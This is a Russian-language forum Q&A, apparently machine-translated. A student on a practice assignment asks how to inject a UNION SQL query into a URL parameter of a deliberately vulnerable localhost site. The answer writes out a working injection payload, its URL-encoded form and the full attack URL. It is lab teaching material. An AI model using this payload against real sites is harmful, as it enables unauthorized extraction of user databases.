Вставить SQL запрос в http URL - PullRequest
0 голосов
/ 22 апреля 2020

Я получил задание сделать SQL инъекцию на поддельный веб-сайт, созданный для этой цели. Я хотел знать, как вставить запрос SQL в URL. например, http://localhost: <> / уязвимости / webapi / users // псевдоним? username = my_id У меня есть этот URL, и я хочу внедрить в него запрос UNION, как мне это сделать? Спасибо.

1 Ответ

0 голосов
/ 22 апреля 2020

Предположим, что ваш веб-запрос будет переведен на

SELECT * FROM users WHERE username = 'my_id';

Теперь хитрость заключается в замене 'my_id' вредоносным кодом. Я предполагаю, что цель запроса UNION - вернуть всех пользователей вместо одного. Результат должен быть:

SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';

Возможно, исходный запрос имеет список полей вместо *. Затем вам нужно будет продублировать этот список во втором запросе.

Теперь вместо my_id необходимо ввести

my_id' UNION SELECT * FROM users; -- 

Обратите внимание, что мы заканчиваем нашу запись знаком -- комментарий. Механизм запроса завершит запрос, добавив окончательную одинарную кавычку (и, возможно, точку с запятой). Теперь они будут превращены в комментарий.

Следующий вопрос: как нам избежать этого правильно для URL. Используя онлайн-инструмент Code Beautify, HTML Escape / Unescape , мы получаем:

my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--

Это дает полный URL:

http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...